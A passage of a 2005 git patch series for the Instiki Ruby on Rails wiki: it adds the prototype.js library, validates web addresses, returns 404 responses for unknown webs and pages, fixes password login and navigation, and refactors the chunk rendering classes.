          def a_method(arg)\n} +
          +	    %{return ThatWay
          \n\n\n\t

          Nice!

          }, code_block) end From 946080ddf920fd9387754782d57622ca44a9215b Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 25 Mar 2005 19:22:10 +0000 Subject: [PATCH 178/529] Added prototype.js library (standardRails thing), though it's not used now --- public/javascripts/prototype.js | 336 ++++++++++++++++++++++++++++++++ 1 file changed, 336 insertions(+) create mode 100644 public/javascripts/prototype.js diff --git a/public/javascripts/prototype.js b/public/javascripts/prototype.js new file mode 100644 index 00000000..62bbc98e --- /dev/null +++ b/public/javascripts/prototype.js @@ -0,0 +1,336 @@ +/* Prototype: an object-oriented Javascript library, version 1.0.1 + * (c) 2005 Sam Stephenson + * + * Prototype is freely distributable under the terms of an MIT-style license. + * For details, see http://prototype.conio.net/ + */ + +Prototype = { + Version: '1.0.1' +} + +Class = { + create: function() { + return function() { + this.initialize.apply(this, arguments); + } + } +} + +Abstract = new Object(); + +Object.prototype.extend = function(object) { + for (property in object) { + this[property] = object[property]; + } + return this; +} + +Function.prototype.bind = function(object) { + var method = this; + return function() { + method.apply(object, arguments); + } +} + +Function.prototype.bindAsEventListener = function(object) { + var method = this; + return function(event) { + method.call(object, event || window.event); + } +} + +Try = { + these: function() { + var returnValue; + + for (var i = 0; i < arguments.length; i++) { + var lambda = arguments[i]; + try { + returnValue = lambda(); + break; + } catch (e) {} + } + + return returnValue; + } +} + +Toggle = { + display: function() { + for (var i = 0; i < elements.length; i++) { + var element = $(elements[i]); + element.style.display = + (element.style.display == 'none' ? '' : 'none'); + } + } +} + +/*--------------------------------------------------------------------------*/ + +function $() { + var elements = new Array(); + + for (var i = 0; i < arguments.length; i++) { + var element = arguments[i]; + if (typeof element == 'string') + element = document.getElementById(element); + + if (arguments.length == 1) + return element; + + elements.push(element); + } + + return elements; +} + +function getElementsByClassName(className, element) { + var children = (element || document).getElementsByTagName('*'); + var elements = new Array(); + + for (var i = 0; i < children.length; i++) { + var child = children[i]; + var classNames = child.className.split(' '); + for (var j = 0; j < classNames.length; j++) { + if (classNames[j] == className) { + elements.push(child); + break; + } + } + } + + return elements; +} + +/*--------------------------------------------------------------------------*/ + +Ajax = { + getTransport: function() { + return Try.these( + function() {return new ActiveXObject('Msxml2.XMLHTTP')}, + function() {return new ActiveXObject('Microsoft.XMLHTTP')}, + function() {return new XMLHttpRequest()} + ) || false; + }, + + emptyFunction: function() {} +} + +Ajax.Base = function() {}; +Ajax.Base.prototype = { + setOptions: function(options) { + this.options = { + method: 'post', + asynchronous: true, + parameters: '' + }.extend(options || {}); + } +} + +Ajax.Request = Class.create(); +Ajax.Request.Events = + ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete']; + +Ajax.Request.prototype = (new Ajax.Base()).extend({ + initialize: function(url, options) { + this.transport = Ajax.getTransport(); + this.setOptions(options); + + try { + if (this.options.method == 'get') + url += '?' + this.options.parameters + '&_='; + + this.transport.open(this.options.method, url, true); + + if (this.options.asynchronous) { + this.transport.onreadystatechange = this.onStateChange.bind(this); + setTimeout((function() {this.respondToReadyState(1)}).bind(this), 10); + } + + if (this.options.method == 'post') { + this.transport.setRequestHeader('Connection', 'close'); + this.transport.setRequestHeader('Content-type', + 'application/x-www-form-urlencoded'); + } + + this.transport.send(this.options.method == 'post' ? + this.options.parameters + '&_=' : null); + + } catch (e) { + } + }, + + onStateChange: function() { + var readyState = this.transport.readyState; + if (readyState != 1) + this.respondToReadyState(this.transport.readyState); + }, + + respondToReadyState: function(readyState) { + var event = Ajax.Request.Events[readyState]; + (this.options['on' + event] || Ajax.emptyFunction)(this.transport); + } +}); + +Ajax.Updater = Class.create(); +Ajax.Updater.prototype = (new Ajax.Base()).extend({ + initialize: function(container, url, options) { + this.container = $(container); + this.setOptions(options); + + if (this.options.asynchronous) { + this.onComplete = this.options.onComplete; + this.options.onComplete = this.updateContent.bind(this); + } + + this.request = new Ajax.Request(url, this.options); + + if (!this.options.asynchronous) + this.updateContent(); + }, + + updateContent: function() { + this.container.innerHTML = this.request.transport.responseText; + if (this.onComplete) this.onComplete(this.request); + } +}); + +/*--------------------------------------------------------------------------*/ + +Field = { + clear: function() { + for (var i = 0; i < arguments.length; i++) + $(arguments[i]).value = ''; + }, + + focus: function(element) { + $(element).focus(); + }, + + present: function() { + for (var i = 0; i < arguments.length; i++) + if ($(arguments[i]).value == '') return false; + return true; + } +} + +/*--------------------------------------------------------------------------*/ + +Form = { + serialize: function(form) { + var elements = Form.getElements($(form)); + var queryComponents = new Array(); + + for (var i = 0; i < elements.length; i++) { + var queryComponent = Form.Element.serialize(elements[i]); + if (queryComponent) + queryComponents.push(queryComponent); + } + + return queryComponents.join('&'); + }, + + getElements: function(form) { + form = $(form); + var elements = new Array(); + + for (tagName in Form.Element.Serializers) { + var tagElements = form.getElementsByTagName(tagName); + for (var j = 0; j < tagElements.length; j++) + elements.push(tagElements[j]); + } + return elements; + } +} + +Form.Element = { + serialize: function(element) { + element = $(element); + var method = element.tagName.toLowerCase(); + var parameter = Form.Element.Serializers[method](element); + + if (parameter) + return encodeURIComponent(parameter[0]) + '=' + + encodeURIComponent(parameter[1]); + }, + + getValue: function(element) { + element = $(element); + var method = element.tagName.toLowerCase(); + var parameter = Form.Element.Serializers[method](element); + + if (parameter) + return parameter[1]; + } +} + +Form.Element.Serializers = { + input: function(element) { + switch (element.type.toLowerCase()) { + case 'hidden': + case 'text': + return Form.Element.Serializers.textarea(element); + case 'checkbox': + case 'radio': + return Form.Element.Serializers.inputSelector(element); + } + }, + + inputSelector: function(element) { + if (element.checked) + return [element.name, element.value]; + }, + + textarea: function(element) { + return [element.name, element.value]; + }, + + select: function(element) { + var index = element.selectedIndex; + return [element.name, (index >= 0) ? element.options[index].value : '']; + } +} + +/*--------------------------------------------------------------------------*/ + +Abstract.TimedObserver = function() {} +Abstract.TimedObserver.prototype = { + initialize: function(element, frequency, callback) { + this.frequency = frequency; + this.element = $(element); + this.callback = callback; + + this.lastValue = this.getValue(); + this.registerCallback(); + }, + + registerCallback: function() { + setTimeout(this.onTimerEvent.bind(this), this.frequency * 1000); + }, + + onTimerEvent: function() { + var value = this.getValue(); + if (this.lastValue != value) { + this.callback(this.element, value); + this.lastValue = value; + } + + this.registerCallback(); + } +} + +Form.Element.Observer = Class.create(); +Form.Element.Observer.prototype = (new Abstract.TimedObserver()).extend({ + getValue: function() { + return Form.Element.getValue(this.element); + } +}); + +Form.Observer = Class.create(); +Form.Observer.prototype = (new Abstract.TimedObserver()).extend({ + getValue: function() { + return Form.serialize(this.element); + } +}); + From 7c2ca615692a8e9f84b3ef83887a72c857e68564 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 25 Mar 2005 19:22:38 +0000 Subject: [PATCH 179/529] Some rewording in CHANGELOG --- CHANGELOG | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG b/CHANGELOG index 6f0a567c..9ddc7c30 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,7 +1,7 @@ HEAD: RSS feeds accept query parameters, sush as http://localhost:2500/wiki/rss_with_headlines?start=2005-02-18&end=2005-02-19&limit=10 - RedCloth 3.0.3 (read: mixing Textile and Markdown in the same page) + RedCloth 3.0.3 (mixing Textile and Markdown in the same page) Files/pictures can be uploaded to a wiki and served from / displayed in wiki pages Wiki link syntax doesn't conflict with Textile hyperlink syntax. Therefore "textile link":LinkToSomePlace will not look insane. From dda7c8eec0e47a03443cdd9a05ff6a35bc5ce66d Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 25 Mar 2005 19:23:26 +0000 Subject: [PATCH 180/529] Requiring ApplicationController from server script --- script/server | 1 + 1 file changed, 1 insertion(+) diff --git a/script/server b/script/server index 4b984a58..cfa15393 100755 --- a/script/server +++ b/script/server @@ -73,6 +73,7 @@ else puts "=> Data files are stored in #{storage_path}" require 'webrick_server' + require_dependency 'application' OPTIONS[:index_controller] = 'wiki' ApplicationController.wiki = WikiService.instance From f58d9a80d55bd83a89d575d715e4019d10e120ac Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 25 Mar 2005 19:32:28 +0000 Subject: [PATCH 181/529] Updated GEM packaging about renaming libraries to lib --- app/models/chunks/engines.rb | 2 +- instiki.gemspec | 6 +++--- rakefile.rb | 4 ++-- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/app/models/chunks/engines.rb b/app/models/chunks/engines.rb index 15b19fe6..3b8a7616 100644 --- a/app/models/chunks/engines.rb +++ b/app/models/chunks/engines.rb @@ -1,4 +1,4 @@ -$: << File.dirname(__FILE__) + "../../libraries" +$: << File.dirname(__FILE__) + "../../lib" require 'redcloth' require 'rdocsupport' diff --git a/instiki.gemspec b/instiki.gemspec index aaf23ec8..d2b5e22d 100755 --- a/instiki.gemspec +++ b/instiki.gemspec @@ -1,4 +1,4 @@ -$__instiki_source_patterns = ['[A-Z]*', 'instiki', 'app/**/*', 'libraries/**/*', 'vendor/**/*'] +$__instiki_source_patterns = ['[A-Z]*', 'instiki', 'app/**/*', 'lib/**/*', 'vendor/**/*'] spec = Gem::Specification.new do |s| s.platform = Gem::Platform::RUBY @@ -29,12 +29,12 @@ spec = Gem::Specification.new do |s| s.add_dependency('RedCloth', '= 2.0.11') s.add_dependency('rubyzip', '= 0.5.5') s.requirements << 'none' - s.require_path = 'libraries' + s.require_path = 'lib' s.files = $__instiki_source_patterns.inject([]) { |list, glob| list << Dir[glob].delete_if { |path| File.directory?(path) or - path.include?('CVS/') or + path.include?('.svn/') or path.include?('vendor/') or path.include?('test/') or path.include?('_test.rb') diff --git a/rakefile.rb b/rakefile.rb index 7fb51043..cdeeb542 100755 --- a/rakefile.rb +++ b/rakefile.rb @@ -115,11 +115,11 @@ CLEAN << 'pkg' << 'storage/2500' << 'doc' << 'html' begin require 'rubygems' require 'rake/gempackagetask' -rescue Exception +rescue Exception => e nil end -if defined? GemPackageTask +if defined? Rake::GemPackageTask gemspec = eval(File.read('instiki.gemspec')) Rake::GemPackageTask.new(gemspec) do |p| p.gem_spec = gemspec From 1bb4747a0fd40c27666d7299460e47c4af2495e8 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 25 Mar 2005 22:55:59 +0000 Subject: [PATCH 182/529] Fixed development environment --- config/environments/development.rb | 2 +- config/environments/test.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/config/environments/development.rb b/config/environments/development.rb index 76df0ced..09020254 100644 --- a/config/environments/development.rb +++ b/config/environments/development.rb @@ -2,4 +2,4 @@ Dependencies.mechanism = :require ActionController::Base.consider_all_requests_local = true ActionController::Base.perform_caching = false BREAKPOINT_SERVER_PORT = 42531 -ActionController::Base.logger.level = Logger::DEBUG +INSTIKI_DEBUG_LOG = true unless defined? INSTIKI_DEBUG_LOG diff --git a/config/environments/test.rb b/config/environments/test.rb index 168574c6..c41af37f 100644 --- a/config/environments/test.rb +++ b/config/environments/test.rb @@ -11,7 +11,7 @@ unless defined? TEST_LOGGER $stderr.puts "To see the Rails log:\n less #{log_name}" TEST_LOGGER = ActionController::Base.logger = Logger.new(log_name) - ActionController::Base.logger.level = Logger::DEBUG + INSTIKI_DEBUG_LOG = true unless defined? INSTIKI_DEBUG_LOG WikiService.storage_path = RAILS_ROOT + '/storage/test/' end From 759fbda8a05d86434a0a250ad60c531dc48995e1 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 25 Mar 2005 23:40:03 +0000 Subject: [PATCH 183/529] Return HTTP404 to requests pointing to a non-existant web name --- app/controllers/application.rb | 8 +++++++- test/functional/application_test.rb | 5 +++++ test/functional/wiki_controller_test.rb | 1 + 3 files changed, 13 insertions(+), 1 deletion(-) diff --git a/app/controllers/application.rb b/app/controllers/application.rb index 3f4fc67e..f6e15080 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -40,7 +40,13 @@ class ApplicationController < ActionController::Base @action_name = @params['action'] || 'index' @web_name = @params['web'] @wiki = wiki - @web = @wiki.webs[@web_name] unless @web_name.nil? + if @web_name + @web = @wiki.webs[@web_name] + if @web.nil? + render_text "Unknown web '#{@web_name}'", '404 Not Found' + return false + end + end @page_name = @file_name = @params['id'] @page = @wiki.read_page(@web_name, @page_name) unless @page_name.nil? @author = cookies['author'] || 'AnonymousCoward' diff --git a/test/functional/application_test.rb b/test/functional/application_test.rb index 5e74cd2e..3a33df74 100755 --- a/test/functional/application_test.rb +++ b/test/functional/application_test.rb @@ -22,5 +22,10 @@ class ApplicationTest < Test::Unit::TestCase r = process('show', 'web' => 'wiki1', 'id' => 'HomePage') assert_equal 'text/html; charset=UTF-8', r.headers['Content-Type'] end + + def test_connect_to_model_unknown_wiki + r = process('show', 'web' => 'unknown_wiki', 'id' => 'HomePage') + assert_equal 404, r.response_code + end end diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 39cce055..93bdb6d4 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -166,6 +166,7 @@ class WikiControllerTest < Test::Unit::TestCase end def test_index_multiple_webs_web_explicit + @wiki.create_web('Test Wiki 2', 'wiki2') process('index', 'web' => 'wiki2') assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' end From d330c02186495c3ab97dbd119e08e487c7bf6bb4 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 26 Mar 2005 00:00:49 +0000 Subject: [PATCH 184/529] Prohibit invalid URI characters in web names (JavaScript normally prevents from it, but it may be disabled) --- app/models/web.rb | 14 ++++++++++++-- test/test_helper.rb | 1 + test/unit/web_test.rb | 6 ++++++ 3 files changed, 19 insertions(+), 2 deletions(-) diff --git a/app/models/web.rb b/app/models/web.rb index 453f84cb..8b54ca52 100644 --- a/app/models/web.rb +++ b/app/models/web.rb @@ -5,12 +5,15 @@ require "wiki_words" require "zip/zip" class Web - attr_accessor :name, :address, :password, :markup, :color, :safe_mode, :pages + attr_accessor :name, :password, :markup, :color, :safe_mode, :pages attr_accessor :additional_style, :published, :brackets_only, :count_pages, :allow_uploads attr_accessor :max_upload_size + + attr_reader :address def initialize(parent_wiki, name, address, password = nil) - @wiki, @name, @address, @password = parent_wiki, name, address, password + self.address = address + @wiki, @name, @password = parent_wiki, name, password # default values @markup = :textile @@ -30,6 +33,13 @@ class Web @pages[page.name] = page end + def address=(the_address) + if the_address != CGI.escape(the_address) + raise Instiki::ValidationError.new("Web name should contain only valid URI characters") + end + @address = the_address + end + def authors select.authors end diff --git a/test/test_helper.rb b/test/test_helper.rb index 50992837..f7c949f4 100644 --- a/test/test_helper.rb +++ b/test/test_helper.rb @@ -2,6 +2,7 @@ ENV['RAILS_ENV'] = 'test' require File.expand_path(File.dirname(__FILE__) + '/../config/environment') require 'application' require 'test/unit' +require 'breakpoint' require 'action_controller/test_process' # Uncomment this variable to have assert_success check that response bodies are valid XML diff --git a/test/unit/web_test.rb b/test/unit/web_test.rb index bbcf6b2d..e120a56f 100755 --- a/test/unit/web_test.rb +++ b/test/unit/web_test.rb @@ -119,6 +119,12 @@ class WebTest < Test::Unit::TestCase assert_equal 100, web.max_upload_size end + def test_initialize_invalid_name + wiki_stub = Object.new + assert_raises(Instiki::ValidationError) { + Web.new(wiki_stub, 'Wiki2', "wiki\234", '123') + } + end private From b333e0797c4daf81232230e6a364a7f8b5b3491a Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 26 Mar 2005 00:09:41 +0000 Subject: [PATCH 185/529] More user-friendly error handling in admin/create_web --- app/controllers/admin_controller.rb | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/app/controllers/admin_controller.rb b/app/controllers/admin_controller.rb index 9fcc0111..549356a6 100644 --- a/app/controllers/admin_controller.rb +++ b/app/controllers/admin_controller.rb @@ -19,7 +19,7 @@ class AdminController < ApplicationController Your new wiki '#{@params['web_name']}' is created!
          Please edit its home page and press Submit when finished. EOL - redirect_to :web => @params['web_address'], :controller => 'wiki', :action => 'new', + redirect_to :web => @params['web_address'], :controller => 'wiki', :action => 'new', :id => 'HomePage' else # no form submitted -> go to template @@ -30,8 +30,14 @@ class AdminController < ApplicationController if @params['address'] # form submitted if @wiki.authenticate(@params['system_password']) - @wiki.create_web(@params['name'], @params['address']) - redirect_show('HomePage', @params['address']) + begin + @wiki.create_web(@params['name'], @params['address']) + flash[:info] = "New web '#{@params['name']}' successfully created." + redirect_to :web => @params['address'], :controller => 'wiki', :action => 'new', + :id => 'HomePage' + rescue Instiki::ValidationError => e + flash[:error] = e.message + end else redirect_to :controller => 'wiki', :action => 'index' end From 2969b38bd098708327f3c41fd22690d274f7fa1c Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 26 Mar 2005 00:15:04 +0000 Subject: [PATCH 186/529] Fixed expected redirection path in a couple of tests --- app/controllers/admin_controller.rb | 1 + test/functional/admin_controller_test.rb | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/app/controllers/admin_controller.rb b/app/controllers/admin_controller.rb index 549356a6..f3ef5ded 100644 --- a/app/controllers/admin_controller.rb +++ b/app/controllers/admin_controller.rb @@ -37,6 +37,7 @@ class AdminController < ApplicationController :id => 'HomePage' rescue Instiki::ValidationError => e flash[:error] = e.message + # and re-render the form again end else redirect_to :controller => 'wiki', :action => 'index' diff --git a/test/functional/admin_controller_test.rb b/test/functional/admin_controller_test.rb index bd1fdfcb..b40f2b98 100644 --- a/test/functional/admin_controller_test.rb +++ b/test/functional/admin_controller_test.rb @@ -68,7 +68,7 @@ class AdminControllerTest < Test::Unit::TestCase process 'create_web', 'system_password' => 'pswd', 'name' => 'Wiki Two', 'address' => 'wiki2' - assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' + assert_redirected_to :web => 'wiki2', :action => 'new', :id => 'HomePage' wiki2 = @wiki.webs['wiki2'] assert wiki2 assert_equal 'Wiki Two', wiki2.name @@ -80,7 +80,7 @@ class AdminControllerTest < Test::Unit::TestCase process 'create_web', 'system_password' => 'instiki', 'name' => 'Wiki Two', 'address' => 'wiki2' - assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' + assert_redirected_to :web => 'wiki2', :action => 'new', :id => 'HomePage' end def test_create_web_failed_authentication From dfcc8917956911e71ff0afc4ce921e8040a5f330 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 26 Mar 2005 00:19:31 +0000 Subject: [PATCH 187/529] Removed some code from admin/create_web, the purpose of which was incomprehensible --- app/controllers/admin_controller.rb | 3 --- test/functional/admin_controller_test.rb | 6 ------ 2 files changed, 9 deletions(-) diff --git a/app/controllers/admin_controller.rb b/app/controllers/admin_controller.rb index f3ef5ded..0aaa9486 100644 --- a/app/controllers/admin_controller.rb +++ b/app/controllers/admin_controller.rb @@ -44,9 +44,6 @@ class AdminController < ApplicationController end else # no form submitted -> render template - if @wiki.system[:password].nil? - redirect_to :controller => 'wiki', :action => 'index' - end end end diff --git a/test/functional/admin_controller_test.rb b/test/functional/admin_controller_test.rb index b40f2b98..185bc301 100644 --- a/test/functional/admin_controller_test.rb +++ b/test/functional/admin_controller_test.rb @@ -98,12 +98,6 @@ class AdminControllerTest < Test::Unit::TestCase assert_success end - def test_create_web_no_form_submitted_and_no_password_set - @wiki.system[:password] = nil - process 'create_web' - assert_redirected_to :action => 'index' - end - def test_edit_web_no_form process 'edit_web', 'web' => 'wiki1' From 6cceead11cb581027b79788dc2e9840567f44f2b Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 26 Mar 2005 05:26:12 +0000 Subject: [PATCH 188/529] Added a code that is supposed to advertise RSS feeds for auto-discovery --- app/views/layouts/default.rhtml | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/app/views/layouts/default.rhtml b/app/views/layouts/default.rhtml index 0531568a..44cabae5 100644 --- a/app/views/layouts/default.rhtml +++ b/app/views/layouts/default.rhtml @@ -30,6 +30,17 @@ <%= @style_additions %> <%= @web ? @web.additional_style : '' %> + + <% if @web %> + + + <% end %> From c73db9ff5d482c592a49675032c650f1294bba62 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 26 Mar 2005 05:37:04 +0000 Subject: [PATCH 189/529] Calls to show with unspecified page name cause HTTP 404, not HTTP 500 --- app/controllers/wiki_controller.rb | 6 +++++- test/functional/wiki_controller_test.rb | 8 ++++++++ 2 files changed, 13 insertions(+), 1 deletion(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 3651aa1a..184e8d56 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -207,7 +207,11 @@ class WikiController < ApplicationController end end else - redirect_to :web => @web_name, :action => 'new', :id => CGI.escape(@page_name) + if not @page_name.nil? and not @page_name.empty? + redirect_to :web => @web_name, :action => 'new', :id => CGI.escape(@page_name) + else + render_text 'Page name is not specified', '404 Not Found' + end end end diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 93bdb6d4..4e641b93 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -552,6 +552,14 @@ class WikiControllerTest < Test::Unit::TestCase assert_redirected_to :web => 'wiki1', :action => 'new', :id => 'UnknownPage' end + def test_show_no_page + r = process('show', 'id' => '', 'web' => 'wiki1') + assert_equal 404, r.response_code + + r = process('show', 'web' => 'wiki1') + assert_equal 404, r.response_code + end + def test_tex r = process('tex', 'web' => 'wiki1', 'id' => 'HomePage') From ae7ac63a9dbe101854f46497460f6e211f1bf35d Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 26 Mar 2005 15:43:59 +0000 Subject: [PATCH 190/529] Fixed web password protection (was broken by earlier refactoring), also adcded some user-friendlines to it --- app/controllers/application.rb | 11 ++++++++++- app/controllers/wiki_controller.rb | 10 +--------- app/views/wiki/login.rhtml | 11 +++++++---- 3 files changed, 18 insertions(+), 14 deletions(-) diff --git a/app/controllers/application.rb b/app/controllers/application.rb index f6e15080..47a267e7 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -31,7 +31,7 @@ class ApplicationController < ActionController::Base if in_a_web? and not authorized? and not %w( login authenticate published ).include?(@action_name) - redirect_to :action => 'login' + redirect_to :action => 'login', :web => @web_name return false end end @@ -72,6 +72,15 @@ class ApplicationController < ActionController::Base not @web_name.nil? end + def password_check(password) + if password == @web.password + cookies['web_address'] = password + true + else + false + end + end + def password_error(password) if password.nil? or password.empty? 'Please enter the password.' diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 184e8d56..29f520ef 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -25,6 +25,7 @@ class WikiController < ApplicationController if password_check(@params['password']) redirect_show('HomePage') else + flash[:info] = password_error(@params['password']) redirect_to :action => 'login', :web => @web_name end end @@ -308,15 +309,6 @@ class WikiController < ApplicationController [ limit, start_date, end_date ] end - def password_check(password) - if password == @web.password - cookies['web_address'] = password - true - else - false - end - end - def remote_ip ip = @request.remote_ip logger.info(ip) diff --git a/app/views/wiki/login.rhtml b/app/views/wiki/login.rhtml index a6941c72..785cc042 100644 --- a/app/views/wiki/login.rhtml +++ b/app/views/wiki/login.rhtml @@ -1,8 +1,11 @@ <% @title = "#{@web_name} Login" %><% @hide_navigation = true %> -
          -

          + +<%= form_tag({ :controller => 'wiki', :action => 'authenticate', :web => @web.address}, + {'id' => 'loginForm', 'method' => 'post'}) +%> +

          Password
          -

          -
          +

          +<%= end_form_tag %> From 096fc1c8af1c28b205e4b938c814ee6dca9b4576 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 26 Mar 2005 18:56:37 +0000 Subject: [PATCH 191/529] Fixed navigation.rhtml links [dm1] --- app/views/navigation.rhtml | 35 ++++++++++++++++++++--------------- 1 file changed, 20 insertions(+), 15 deletions(-) diff --git a/app/views/navigation.rhtml b/app/views/navigation.rhtml index 8974990e..aa7b1ca8 100644 --- a/app/views/navigation.rhtml +++ b/app/views/navigation.rhtml @@ -1,25 +1,30 @@ <% -def list_item(title, url, description, accesskey = nil) - if @title == title - "#{title}" - else - "#{title}" - end +def list_item(text, link_options, description, accesskey = nil) + link_options[:controller] = 'wiki' + link_options[:web] = @web.name + link_to_unless_current(text, link_options, :title => description, :accesskey => accesskey) { + content_tag('b', text, 'title' => description, 'accesskey' => accesskey, 'class' => 'navOn') + } end %> From a87ef98aefb5a9da3925966f0a2c628749906360 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 27 Mar 2005 14:23:09 +0000 Subject: [PATCH 192/529] Replaced web.name with web.address in navigation.rhtml links --- app/views/navigation.rhtml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/views/navigation.rhtml b/app/views/navigation.rhtml index aa7b1ca8..66bc1198 100644 --- a/app/views/navigation.rhtml +++ b/app/views/navigation.rhtml @@ -1,7 +1,7 @@ <% def list_item(text, link_options, description, accesskey = nil) link_options[:controller] = 'wiki' - link_options[:web] = @web.name + link_options[:web] = @web.address link_to_unless_current(text, link_options, :title => description, :accesskey => accesskey) { content_tag('b', text, 'title' => description, 'accesskey' => accesskey, 'class' => 'navOn') } From 78bad46419a0181db0af7139673bb92c4fd308d9 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 27 Mar 2005 18:13:43 +0000 Subject: [PATCH 193/529] Refactoring of chunks and rendering [Denis Mertz] --- app/models/chunks/category.rb | 23 +++--- app/models/chunks/chunk.rb | 67 +++++++++++---- app/models/chunks/engines.rb | 23 ++---- app/models/chunks/include.rb | 39 +++++---- app/models/chunks/literal.rb | 14 +++- app/models/chunks/nowiki.rb | 13 ++- app/models/chunks/uri.rb | 25 ++---- app/models/chunks/wiki.rb | 85 ++++++++++--------- app/models/page.rb | 8 ++ app/models/page_set.rb | 10 ++- app/models/revision.rb | 31 +++++-- app/models/web.rb | 12 +-- app/models/wiki_content.rb | 151 +++++++++++++++++++++++++++++----- app/views/wiki/page.rhtml | 13 ++- test/test_helper.rb | 7 +- test/unit/chunks/wiki_test.rb | 16 +--- test/unit/revision_test.rb | 4 + test/unit/uri_test.rb | 2 +- test/unit/web_test.rb | 2 +- 19 files changed, 365 insertions(+), 180 deletions(-) diff --git a/app/models/chunks/category.rb b/app/models/chunks/category.rb index a352851c..d08d8636 100644 --- a/app/models/chunks/category.rb +++ b/app/models/chunks/category.rb @@ -13,22 +13,19 @@ class Category < Chunk::Abstract attr_reader :hidden, :list - def initialize(match_data) - super(match_data) - @hidden = match_data[1] +def initialize(match_data, content) + super(match_data, content) + @hidden = match_data[1] @list = match_data[2].split(',').map { |c| c.strip } + @unmask_text = '' + if @hidden + @unmask_text = '' + else + category_urls = @list.map { |category| url(category) }.join(', ') + @unmask_text = '
          category: ' + category_urls + '
          ' + end end - # If the chunk is hidden, erase the mask and return this chunk - # otherwise, surround it with a 'div' block. - def unmask(content) - return '' if hidden - - category_urls = @list.map{|category| url(category) }.join(', ') - replacement = '
          category: ' + category_urls + '
          ' - self if content.sub!(mask(content), replacement) - end - # TODO move presentation of page metadata to controller/view def url(category) %{#{category}} diff --git a/app/models/chunks/chunk.rb b/app/models/chunks/chunk.rb index 98c7f142..18c2d005 100644 --- a/app/models/chunks/chunk.rb +++ b/app/models/chunks/chunk.rb @@ -6,35 +6,74 @@ require 'uri/common' # +pattern+ that states what sort of text it matches. # Chunks are initalized by passing in the result of a # match by its pattern. + module Chunk class Abstract - attr_reader :text - def initialize(match_data) @text = match_data[0] end - + # automatically construct the array of derivatives of Chunk::Abstract + @derivatives = [] + + class << self + attr_reader :derivatives + end + + def self::inherited( klass ) + Abstract::derivatives << klass + end + + # the class name part of the mask strings + def self.mask_string + self.to_s.delete(':').downcase + end + + # a regexp that matches all chunk_types masks + def Abstract::mask_re(chunk_types) + tmp = chunk_types.map{|klass| klass.mask_string}.join("|") + Regexp.new("chunk(\\d+)(#{tmp})chunk") + end + + attr_reader :text, :unmask_text, :unmask_mode + + def initialize(match_data, content) + @text = match_data[0] + @content = content + @unmask_mode = :normal + end + # Find all the chunks of the given type in content # Each time the pattern is matched, create a new # chunk for it, and replace the occurance of the chunk # in this content with its mask. def self.apply_to(content) content.gsub!( self.pattern ) do |match| - new_chunk = self.new($~) - content.chunks << new_chunk - new_chunk.mask(content) + new_chunk = self.new($~, content) + content.add_chunk(new_chunk) + new_chunk.mask end end - def mask(content) - "chunk#{self.object_id}#{self.class.to_s.delete(':').downcase}chunk" + def mask + "chunk#{self.object_id}#{self.class.mask_string}chunk" end - def revert(content) - content.sub!( Regexp.new(mask(content)), text ) - end + def unmask + @content.sub!(mask, @unmask_text) + end - def unmask(content) - self if revert(content) - end + def rendered? + @unmask_mode == :normal + end + + def escaped? + @unmask_mode == :escape + end + + def revert + @content.sub!(mask, @text) + # unregister + @content.delete_chunk(self) + end end + end diff --git a/app/models/chunks/engines.rb b/app/models/chunks/engines.rb index 3b8a7616..9f7d87db 100644 --- a/app/models/chunks/engines.rb +++ b/app/models/chunks/engines.rb @@ -13,38 +13,33 @@ module Engines # Create a new chunk for the whole content and replace it with its mask. def self.apply_to(content) new_chunk = self.new(content) - content.chunks << new_chunk - content.replace(new_chunk.mask(content)) - end - - def unmask(content) - self + content.replace(new_chunk.mask) end private # Never create engines by constructor - use apply_to instead - def initialize(text) - @text = text + def initialize(content) + @content = content end end class Textile < AbstractEngine - def mask(content) - RedCloth.new(text,content.options[:engine_opts]).to_html + def mask + 